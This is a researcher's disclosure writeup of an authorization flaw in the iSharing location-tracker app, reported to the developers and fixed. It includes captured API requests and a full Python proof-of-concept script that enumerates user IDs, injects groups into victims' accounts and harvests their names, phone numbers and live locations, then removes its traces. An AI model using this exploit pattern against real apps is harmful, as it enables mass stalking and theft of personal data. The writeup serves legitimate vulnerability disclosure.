iSharing Data Leak Writeup

Please don’t rely on client-side verification
hacking
Author

Eric Daigle

Published

April 24, 2024

Background

I recently discovered a serious security lapse in iSharing, a location tracker/parental control app for iOS and Android that claims over 35 million users. Upon discovering the issue and getting no response from the developers I contacted Zack Whittaker at TechCrunch, who was super helpful first in confirming the vulnerability and then in establishing contact with the devs. Zack wrote a great article covering the high-level story and implications, so this post will focus on a writeup of the technical details.

Part 0: signup

I began by installing iSharing on my test device and creating account while sniffing traffic with HTTP Toolkit. On opening the app for the first time, we’re asked to log in with Google or Facebook or create an account. The account creation screen expects an email address, name, username, and password, and then creates an account in the following request-response:

METHOD: POST
URL https://api.isharingapp.com/users
Accept-Encoding: identity
api-version: 2
Authorization: ab55580b-843c-4979-bd21-bd232e27f880
Connection: Keep-Alive
Content-Length: 63
Content-Type: application/json; charset=utf-8
Host: api.isharingapp.com
user-agent: iSharing/11.15.1.2 android

{"type":"signup",
 "user":{"email":"test@test.com","passwd":"TestyTesty!1",
         "name":"Test","locale":"EN","loginMethod":"email"}}

STATUS: 200 OK
Connection: keep-alive
Content-Length: 24
Content-Type: application/json
Date: Tue, 2 Apr 2024 01:50:31 GMT
Server: awselb/2.0

{"email":"test@test.com","passwd":"TestyTesty!1","name":"Test",
 "locale":"EN","loginMethod":"email","id":34819428,
 "walk":"ed67e2fa-d613-4c55-ad51-e75ecb95c885",
 "run":"af6ec3b0-507e-4b83-b4b3-57e776e04980"}

There’s no CAPTCHA or email confirmation here, we can make as many accounts as we like with non-existent email addresses.

Part 1: profile pic idor

The first interesting thing I notice after account creation is that the app is trying to GET a profile picture for my user ID from an AWS endpoint with no authentication, but keeps getting a 403:

METHOD: GET
URL https://s3.amazonaws.com/isharing2/profile_pic/34819428.jpeg
Accept-Encoding: gzip
Connection: Keep-Alive
Host: s3.amazonaws.com
User-Agent: okhttp/4.9.3

STATUS: 403 Forbidden
Content-Type: application/xml
Date: Tue, 2 Apr 2024 02:02:19 GMT
Server: AmazonS3
Transfer-Encoding: chunked
x-amz-id-2: 5un3PBiSHOVKbjzsI4m3cF9Gqpr/nJlod7s+8gr10Qf0Xa/qJMlHm6TPMO83K1S6NhYvEClL1CY=
x-amz-request-id: HNHWYCZBDYP88V0K

Since the app is sending the unauthenticated GET, this is presumably supposed to work. Maybe this is what happens since I haven’t set a profile picture yet? I upload one and go back to the main screen. Sure enough, the same request now successfully gets my picture. This looks like an IDOR exploit, which I quickly confirm by using Firefox to GET the URL with the user id field decremented, showing someone else’s profile picture. Leaking private profile photos is not terribly exciting, and I would later learn that it is intended behaviour for them to be public. This does, however, give me a non-rate-limited (the app is constantly spamming the profile picture request in the background) way to check if a user ID is valid, which might be useful later.

Part 2: groups

Moving on, I install the app on a second test phone so I can actually track something. The tracking system of the app revolves around groups: if I want to share my location with you, I make a group in the app on my phone, and am given a 6-digit alphanumeric code. I then give this to you, and you type it in the app on your phone to join my group. Now we can both silently track each other’s location.

The group creation process seemed like an obvious thing to look at. Creating a group triggers the following request-response:

METHOD: POST
URL https://api.isharingapp.com/users
Accept-Encoding: identity
api-version: 2
Authorization: ed67e2fa-d613-4c55-ad51-e75ecb95c885
Connection: Keep-Alive
Content-Length: 63
Content-Type: application/json; charset=utf-8
Host: api.isharingapp.com
index: 34819428
user-agent: iSharing/11.15.1.2 android

{"type":"createGroup","userId":34819428,"groupName":"TestGroup"}

STATUS: 200 OK
Connection: keep-alive
Content-Length: 24
Content-Type: application/json
Date: Tue, 2 Apr 2024 02:21:39 GMT
Server: awselb/2.0

"34819428_1712024499"

The response turns out to be a group ID in the format userid_groupcreationtimestamp. The following request was then immediately made:

METHOD: POST
URL https://api.isharingapp.com/users
Accept-Encoding: identity
api-version: 2
Authorization: ed67e2fa-d613-4c55-ad51-e75ecb95c885
Connection: Keep-Alive
Content-Length: 63
Content-Type: application/json; charset=utf-8
Host: api.isharingapp.com
index: 34819428
user-agent: iSharing/11.15.1.2 android

{"type":"getInvitationCode","groupId":"34819428_1712024499"}

STATUS: 200 OK
Connection: keep-alive
Content-Length: 24
Content-Type: application/json
Date: Tue, 2 Apr 2024 02:21:44 GMT
Server: awselb/2.0

"MY5XT7"

That was the 6-digit group code shown on my screen. Anyone with this code can add themselves to my group and get my location.

Part 3: authentication, or lack thereof

The only authentication done in those group creation requests seems to be that UUID in the Authorization header, which comes from the “walk” parameter of the response to my account creation. Resending these requests with any other value in that header causes an error from the backend.

It’s interesting that the request body also contains the user ID. If the backend doesn’t actually check that the Authorization header corresponds to the user ID, I might be able to create a group belonging to another user, then get its join code. I could then use the join code to add myself to that user’s new group, allowing us to see the user’s location. Surely it can’t be that easy?

I clear the app’s data on Phone 2, make a new account in it, and note down its user ID. I then resend the above requests with the original Authorization header from Phone 1 and the user ID of the new accuont on Phone 2. Incredibly, they respond happily with a group ID and a join code, which I can then use to successfully add my original phone to the newly created group and see my second phone’s location.

Shortly after doing this, I see this request and response on Phone 1:

METHOD: POST
URL https://api.isharingapp.com/users
Accept-Encoding: identity
api-version: 2
Authorization: ed67e2fa-d613-4c55-ad51-e75ecb95c885
Connection: Keep-Alive
Content-Length: 90
Content-Type: application/json; charset=utf-8
Host: api.isharingapp.com
index: 34775355
user-agent: iSharing/11.15.1.2 android

{"type":"getFriendListWithStartKey","uid":34819428,"fetchLimit":500,
 "getGroupDetail":true}

STATUS: 200 OK
Connection: keep-alive
Content-Length: 817
Content-Type: application/json
Date: Tue, 2 Apr 2024 03:01:44 GMT
Server: awselb/2.0

{
  "friends": [
    {
      "id": 34776627,
      "email": "victim@victim.com",
      "name": "victim",
      "phone": "+1 5555555555",
      "userPrivacy": 3,
      "friendPrivacy": 3,
      "ndistance": 5000,
      "lastConnTime": 1712030343,
      "imageUpdatedTime": "1970-01-01 00:00:00",
      "latitude": 49.2607895,
      "longitude": -123.2490007,
      "motion": 0,
      "enableDriveAlert": false,
      "enableBatteryAlert": false,
      "inactivityDuration": 0,
      "locationInfo": {
        "accuracy": 25,
        "batteryLevel": 5,
        "status": 3,
        "timestamp": 1712030343,
        "latitude": 49.2607895,
        "longitude": -123.2490007,
        "uid": 34776627
      }
    }
  ],
  "groupDetail": [
    {
      "groupId": "34776627_1712026503",
      "groupName": "injectedgroup",
      "memberIds": [
        34776627,
        34819428
      ],
      "subscription": false
    }
  ]
}

It seems that anyone I’m in a group with is automatically my friend, and the app regularly pulls the personal info (including email, name, phone number, and live location with lasted updated time) of all my friends.

part 4: putting it all together

So, given any user ID, we can get all that user’s personal info and their location. I wonder where we could get a bunch of user IDs? That profile photo IDOR looks pretty nice… it can’t distinguish between a non-existent user and a user who hasn’t uploaded a profile pic, but being able to leak this data for anyone who’s uploaded a profile picture is more than bad enough.

While putting together the Python script I made a few other discoveries.

The group joining process is intended to work as follows: Alice’s phone makes a group creation request, and gets a group ID as a response. Alice’s phone then makes an invitation code request, and gets code as a response. Alice can then share this invitation code with Bob, who will use it on his phone to make a group ID request, and get the ID of Alice’s group as a response. He will then use this ID to make the request to actually join Alice’s group. This means we can skip the invitation code request altogether, since creating a group on someone else’s account gives us that group’s ID, we can just immediately send a request to add ourselves to the group using that ID.

The profile photo IDOR is not actually necessary - user IDs seem to simply be assigned sequentially incrementing by 1, and I can spam requests for invalid or deleted user IDs without ever getting rate limited. So I can just iterate through every possible user ID by starting from my own and adding or subtracting.

The last mystery was the authorization header for the initial account creation request. The request is refused if that field contains anything other than ab55580b-843c-4979-bd21-bd232e27f880. Where is this coming from? It’s the same coming from both test phones, so it isn’t ANDROID_ID, the advertising ID, the IMEI, or any similar identifiers. Using JADX to decompile the APK and trace back from the function that builds the signup request, I find it hardcoded in the app as a base64 string, which is decoded before being inserted in the request. Strangely, it’s a member of what seems to be the main class of a workout logging app. Maybe location tracking was a last-minute pivot for the developers.

It’s trivial to put all this together into a POC script, which lets me leak all this personal information for every active iSharing user.

iSharing POC
# iSharing exploit PoC
# This exploit leaks the profile picture, full name, phone number, and last seen location of iSharing users.
#
# Instructions:
#
# 1. Set NUM_USERS_TO_LEAK
#
# 2. python isharing_poc.py
#
# 3. Results will be printed as they are retrieved, and then saved to results.json
#

import ast
import http.client
import json
import os
import sys

import random

from random import choices, shuffle
from string import ascii_lowercase

NUM_USERS_TO_LEAK = int(sys.argv[1])

attackerUserId = ""
attackerAuth = ""

conn = http.client.HTTPSConnection("api.isharingapp.com")

def createAccountAndGetAuth():
    global attackerUserId
    global attackerAuth

    randomEmail = "".join(choices(ascii_lowercase, k=10))
    payload = f"{{\"type\":\"signup\",\"user\":{{\"email\":\"{randomEmail}@gmail.com\",\"passwd\":\"Absdekfdjw2!\",\"name\":\"A Guy\",\"locale\":\"EN\",\"loginMethod\":\"email\"}}}}"

    createAcctHeaders = {
        "authorization": "ab55580b-843c-4979-bd21-bd232e27f880",
        "accept-encoding": "identity",
        "user-agent": "iSharing/11.15.1.2 android",
        "api-version": "2",
        "content-type": "application/json; charset=utf-8",
        "host": "api.isharingapp.com",
        "connection": "Keep-Alive"
    }

    conn.request("POST", "/users", payload, createAcctHeaders)

    res = conn.getresponse()
    data = res.read()
    print(data.decode("utf-8"))

    auth = ast.literal_eval(data.decode("utf-8"))["walk"]
    uid = str(ast.literal_eval(data.decode("utf-8"))["id"])

    attackerAuth = auth
    attackerUserId = uid

# This turned out to be unnecessary. We can simply enumerate user IDs one at a time by subtracting or adding from our own.
# No need to test if they're valid first since the app doesn't rate limit you even after many invalid requests.
def getTargetsFromProfilePicIDOR():
    for i in range(int(attackerUserId), int(attackerUserId)-NUM_USERS_TO_LEAK, -1):
        os.system(f"wget -P ./idor/ http://s3.amazonaws.com/isharing2/profile_pic/{i}.jpeg")

    return [os.path.splitext(filename)[0] for filename in os.listdir("./idor/")]

def createNewGroupOnUser(userId):
    groupName = "".join(choices(ascii_lowercase, k=3))
    payload = f"{{\"type\":\"createGroup\",\"userId\":{userId},\"groupName\":\"{groupName}\"}}"

    conn.request("POST", "/users", payload, headers)
    res = conn.getresponse()
    data = res.read()

    return data.decode("utf-8").replace('"', '')

def addAttackerToGroupWithId(groupId):
    payload = f"{{\"type\":\"joinGroup\",\"userId\":{attackerUserId},\"groupId\":\"{groupId}\"}}"
    conn.request("POST", "/users", payload, headers)
    res = conn.getresponse()
    data = res.read()

    return data.decode("utf-8")

def getFriendsPII():
    payload = f"{{\"type\":\"getFriendListWithStartKey\",\"uid\":{attackerUserId},\"fetchLimit\":500,\"getGroupDetail\":true}}"

    conn.request("POST", "/users", payload, headers)
    res = conn.getresponse()
    data = res.read()

    return data.decode("utf-8")

def cleanup(targetUserId, createdGroupId):
    # Remove the target from the group we created
    payload = f"{{\"type\":\"leaveGroup\",\"userId\":{targetUserId},\"targetId\":{targetUserId},\"groupId\":\"{createdGroupId}\"}}"

    conn.request("POST", "/users", payload, headers)

    res = conn.getresponse()
    data = res.read()

    # Remove ourself from the group we created
    payload = f"{{\"type\":\"leaveGroup\",\"userId\":{targetUserId},\"targetId\":{attackerUserId},\"groupId\":\"{createdGroupId}\"}}"

    conn.request("POST", "/users", payload, headers)
    res = conn.getresponse()
    data = res.read()

    # Unfriend the attacker from the target
    payload = f"{{\"type\":\"deleteFriend\",\"userId\":{targetUserId},\"friendId\":\"{attackerUserId}\"}}"

    conn.request("POST", "/users", payload, headers)
    res = conn.getresponse()
    data = res.read()

    # Unfriend the target from the attacker
    payload = f"{{\"type\":\"deleteFriend\",\"userId\":{attackerUserId},\"friendId\":\"{targetUserId}\"}}"

    conn.request("POST", "/users", payload, headers)
    res = conn.getresponse()
    data = res.read()



createAccountAndGetAuth()

headers = {
    "authorization": attackerAuth,
    "accept-encoding": "identity",
    "user-agent": "iSharing/11.15.1.2 android",
    "api-version": "2",
    "index": attackerUserId,
    "content-type": "application/json; charset=utf-8",
    "host": "api.isharingapp.com",
    "connection": "Keep-Alive"
}

targets = getTargetsFromProfilePicIDOR()

results = {}
for t in targets:
    createdGroupId = createNewGroupOnUser(t)
    addAttackerToGroupWithId(createdGroupId)
    results[t] = getFriendsPII()
    cleanup(t, createdGroupId)
    print(results[t])

with open(sys.argv[2], "w") as f:
    json.dump(results, f)

part 5: extra stuff

After discovering I could create groups on other users, I figured the same mechanism (lack of verification that sensitive operations on users are actually being done by that user) would likely work for other features of the app, and decided to keep exploring. The app has a direct messaging system, and I was able to send messages from another user. I likely also could have read another user’s incoming messages, but the DM feature is very clunky and seems essentially unused, so I didn’t bother investigating much further.

More interesting was a button labeled Share Location. This turned out to generate a link, valid up to 24 hours, which could be opened in any browser to track the user who created it - presumably intended to let you share your location with someone without making them sign up for iSharing themselves. This happened in the following request-response:

METHOD: POST
URL https://api.isharingapp.com/users
Accept-Encoding: identity
api-version: 2
Authorization: ed67e2fa-d613-4c55-ad51-e75ecb95c885
Connection: Keep-Alive
Content-Length: 63
Content-Type: application/json; charset=utf-8
Host: api.isharingapp.com
index: 34819428
user-agent: iSharing/11.15.1.2 android

{"type":"getSharedMapURL","uid":34819428,"userName":"Some Guy",
 "timeout":86400}'

STATUS: 200 OK
Connection: keep-alive
Content-Length: 24
Content-Type: application/json
Date: Tue, 2 Apr 2024 04:50:17 GMT
Server: awselb/2.0

"https://live.isharing.me/map/?map_id=34819428Qsgq"

As expected, I could send this request with any user ID in the uid field, getting a live tracking link for that user. While this does not leak any additional data not already exposed by the previous exploit, it does make the leaked data a lot easier to share.

Timeline

  • 2024-04-01: initial analysis
  • 2024-04-02: proof of concept script written, attempted to contact developers through support email
  • 2024-04-15: no response from developers, contacted Zack Whittaker at TechCrunch
  • 2024-04-18: Zack contacts developers, gets reponse and and puts us in contact
  • 2024-04-19: exploit fixed
  • 2024-04-24: disclosure

Support

If you’ve made it this far, consider supporting my work with a small donation on ko-fi! This site is ad-free, and social-media-free and uses open-source privacy-respecting analytics.